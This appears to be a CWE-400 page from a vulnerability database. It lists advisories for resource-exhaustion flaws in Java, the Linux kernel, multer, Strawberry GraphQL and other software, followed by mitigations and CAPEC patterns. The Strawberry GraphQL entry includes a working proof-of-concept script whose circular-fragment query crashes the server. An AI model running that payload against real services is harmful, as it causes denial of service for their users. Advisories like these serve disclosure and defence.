CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6465 vulnerabilities reference this CWE, most recent first.
GHSA-QFMM-WRMH-R6PR
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u491, 8u491-perf and 11.0.31. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-47057"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:11Z",
"severity": "HIGH"
},
"details": "Vulnerability in Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u491, 8u491-perf and 11.0.31. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-qfmm-wrmh-r6pr",
"modified": "2026-07-22T00:31:18Z",
"published": "2026-07-22T00:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47057"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QFRW-Q7QP-V27X
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23The d_walk function in fs/dcache.c in the Linux kernel through 3.17.2 does not properly maintain the semantics of rename_lock, which allows local users to cause a denial of service (deadlock and system hang) via a crafted application.
{
"affected": [],
"aliases": [
"CVE-2014-8559"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-10T11:55:00Z",
"severity": "MODERATE"
},
"details": "The d_walk function in fs/dcache.c in the Linux kernel through 3.17.2 does not properly maintain the semantics of rename_lock, which allows local users to cause a denial of service (deadlock and system hang) via a crafted application.",
"id": "GHSA-qfrw-q7qp-v27x",
"modified": "2022-05-13T01:23:44Z",
"published": "2022-05-13T01:23:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8559"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1159313"
},
{
"type": "WEB",
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=946e51f2bf37f1656916eb75bd0742ba33983c28"
},
{
"type": "WEB",
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca5358ef75fc69fee5322a38a340f5739d997c10"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/25/171"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/25/179"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/25/180"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/101"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/116"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/128"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/129"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K05211147"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-01/msg00035.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00010.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00020.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00025.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00009.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00015.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1976.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1978.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/62801"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3170"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/10/30/7"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70854"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1034051"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2492-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2493-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2515-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2516-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2517-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2518-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QFVM-CV95-JQJF
Vulnerability from github – Published: 2026-09-08 21:29 – Updated: 2026-09-08 21:29Impact
A vulnerability in multer 2.2.0 allows an attacker to trigger a Denial of Service (DoS) by aborting or truncating multipart uploads. When using diskStorage, the destination write stream is not closed if the upload is aborted before it finishes, so each failed request leaks an open file descriptor and retains its disk blocks until the process exits. Repeated failed uploads can exhaust the available file descriptors. All applications using multer's disk storage are affected.
Patches
Users should upgrade to 2.3.0.
Workarounds
None.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "multer"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.2.0"
]
}
],
"aliases": [
"CVE-2026-77037"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-459"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:29:51Z",
"nvd_published_at": "2026-08-28T22:16:53Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA vulnerability in multer `2.2.0` allows an attacker to trigger a Denial of Service (DoS) by aborting or truncating multipart uploads. When using `diskStorage`, the destination write stream is not closed if the upload is aborted before it finishes, so each failed request leaks an open file descriptor and retains its disk blocks until the process exits. Repeated failed uploads can exhaust the available file descriptors. All applications using multer\u0027s disk storage are affected.\n\n### Patches\n\nUsers should upgrade to `2.3.0`.\n\n### Workarounds\n\nNone.",
"id": "GHSA-qfvm-cv95-jqjf",
"modified": "2026-09-08T21:29:51Z",
"published": "2026-09-08T21:29:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-qfvm-cv95-jqjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77037"
},
{
"type": "WEB",
"url": "https://github.com/expressjs/multer/commit/eef74440b491ef0f976f3d25895e8089ae495df0"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/expressjs/multer"
},
{
"type": "WEB",
"url": "https://github.com/expressjs/multer/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "multer vulnerable to Denial of Service via file descriptor leak on aborted uploads"
}
GHSA-QFVR-C3W2-X3H7
Vulnerability from github – Published: 2023-05-16 00:30 – Updated: 2024-04-04 04:11In several functions of SnoozeHelper.java, there is a possible way to grant notifications access due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-258422365
{
"affected": [],
"aliases": [
"CVE-2023-21110"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-15T22:15:11Z",
"severity": "HIGH"
},
"details": "In several functions of SnoozeHelper.java, there is a possible way to grant notifications access due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-258422365",
"id": "GHSA-qfvr-c3w2-x3h7",
"modified": "2024-04-04T04:11:40Z",
"published": "2023-05-16T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21110"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-05-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QFWV-87QJ-98XQ
Vulnerability from github – Published: 2026-06-04 14:38 – Updated: 2026-06-09 11:53Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.
Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Enable depth limiting
schema = strawberry.Schema(
query=Query,
extensions=[QueryDepthLimiter(max_depth=10)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
exploit
import httpx
# Circular reference: A -> B -> A -> B ...
payload = {
"query": """
fragment A on User {
...B
}
fragment B on User {
...A
}
query Crash {
user {
...A
}
}
"""
}
try:
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(response.json())
except Exception as e:
print(f"Server crashed or timed out: {e}")
Impact
Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.315.6"
},
"package": {
"ecosystem": "PyPI",
"name": "strawberry-graphql"
},
"ranges": [
{
"events": [
{
"introduced": "0.71.0"
},
{
"fixed": "0.315.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47706"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T14:38:52Z",
"nvd_published_at": "2026-06-04T15:16:54Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n @strawberry.field\n def user(self) -\u003e User:\n return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n query=Query, \n extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -\u003e B -\u003e A -\u003e B ...\npayload = {\n \"query\": \"\"\"\n fragment A on User {\n ...B\n }\n fragment B on User {\n ...A\n }\n query Crash {\n user {\n ...A\n }\n }\n \"\"\"\n}\n\ntry:\n response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n print(response.json())\nexcept Exception as e:\n print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools",
"id": "GHSA-qfwv-87qj-98xq",
"modified": "2026-06-09T11:53:00Z",
"published": "2026-06-04T14:38:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47706"
},
{
"type": "PACKAGE",
"url": "https://github.com/strawberry-graphql/strawberry"
},
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Strawberry GraphQL has a Circular Fragment Reference DOS"
}
GHSA-QFXJ-99GM-R9JR
Vulnerability from github – Published: 2025-02-25 15:34 – Updated: 2025-02-25 21:31An issue was discovered in O-RAN Near Realtime RIC I-Release. To exploit this vulnerability, an attacker can disrupt the initial connection between a gNB and the Near RT-RIC by inundating the system with a high volume of subscription requests via an xApp.
{
"affected": [],
"aliases": [
"CVE-2024-34036"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-25T15:15:21Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in O-RAN Near Realtime RIC I-Release. To exploit this vulnerability, an attacker can disrupt the initial connection between a gNB and the Near RT-RIC by inundating the system with a high volume of subscription requests via an xApp.",
"id": "GHSA-qfxj-99gm-r9jr",
"modified": "2025-02-25T21:31:41Z",
"published": "2025-02-25T15:34:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34036"
},
{
"type": "WEB",
"url": "https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f"
},
{
"type": "WEB",
"url": "https://jira.o-ran-sc.org/browse/RIC-1057"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QFXR-9RRQ-8WRC
Vulnerability from github – Published: 2026-08-19 21:30 – Updated: 2026-08-19 21:30IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
{
"affected": [],
"aliases": [
"CVE-2026-16831"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T20:17:03Z",
"severity": "HIGH"
},
"details": "IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.",
"id": "GHSA-qfxr-9rrq-8wrc",
"modified": "2026-08-19T21:30:34Z",
"published": "2026-08-19T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16831"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7283858"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QG45-RC8C-9676
Vulnerability from github – Published: 2026-07-01 03:35 – Updated: 2026-07-01 18:31A malicious LDAP server, which a Thunderbird user is configured to query for address-book autocomplete, can stash arbitrarily large amounts of attacker-supplied data into the Thunderbird LDAP client until it crashes due to memory exhaustion. This vulnerability was fixed in Thunderbird 152.0.1 and Thunderbird 140.12.1.
{
"affected": [],
"aliases": [
"CVE-2026-57962"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T02:17:00Z",
"severity": "MODERATE"
},
"details": "A malicious LDAP server, which a Thunderbird user is configured to query for address-book autocomplete, can stash arbitrarily large amounts of attacker-supplied data into the Thunderbird LDAP client until it crashes due to memory exhaustion. This vulnerability was fixed in Thunderbird 152.0.1 and Thunderbird 140.12.1.",
"id": "GHSA-qg45-rc8c-9676",
"modified": "2026-07-01T18:31:47Z",
"published": "2026-07-01T03:35:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57962"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2042872"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-62"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-63"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-64"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QG5X-66HP-CW5P
Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-05 18:52Apache DolphinScheduler user registration is vulnerable to Regular express Denial of Service (ReDoS) attacks. Apache DolphinScheduler users should upgrade to version 2.0.5 or higher.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dolphinscheduler:dolphinscheduler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "apache-dolphinscheduler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25598"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-01T15:38:43Z",
"nvd_published_at": "2022-03-30T10:15:00Z",
"severity": "HIGH"
},
"details": "Apache DolphinScheduler user registration is vulnerable to Regular express Denial of Service (ReDoS) attacks. Apache DolphinScheduler users should upgrade to version 2.0.5 or higher.",
"id": "GHSA-qg5x-66hp-cw5p",
"modified": "2022-04-05T18:52:26Z",
"published": "2022-03-31T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25598"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/dolphinscheduler"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-dolphinscheduler/PYSEC-2022-176.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/hwnw7xr969sg5nv84wz75nfr2c76fl93"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in Apache DolphinScheduler"
}
GHSA-QG7F-449V-85XG
Vulnerability from github – Published: 2025-04-03 21:33 – Updated: 2025-04-07 21:32This vulnerability affects Snowplow Collector 3.x before 3.3.0 (unless it’s set up behind a reverse proxy that establishes payload limits). It involves sending very large payloads to the Collector and can render it unresponsive to the rest of the requests. As a result, data would not enter the pipeline and would be potentially lost.
{
"affected": [],
"aliases": [
"CVE-2024-56528"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-03T21:15:39Z",
"severity": "HIGH"
},
"details": "This vulnerability affects Snowplow Collector 3.x before 3.3.0 (unless it\u2019s set up behind a reverse proxy that establishes payload limits). It involves sending very large payloads to the Collector and can render it unresponsive to the rest of the requests. As a result, data would not enter the pipeline and would be potentially lost.",
"id": "GHSA-qg7f-449v-85xg",
"modified": "2025-04-07T21:32:05Z",
"published": "2025-04-03T21:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56528"
},
{
"type": "WEB",
"url": "https://support.snowplow.io/hc/en-us/articles/26318139354909-Update-Critical-Snowplow-Security-Updates-Impact-on-Open-Source-Software-Users"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.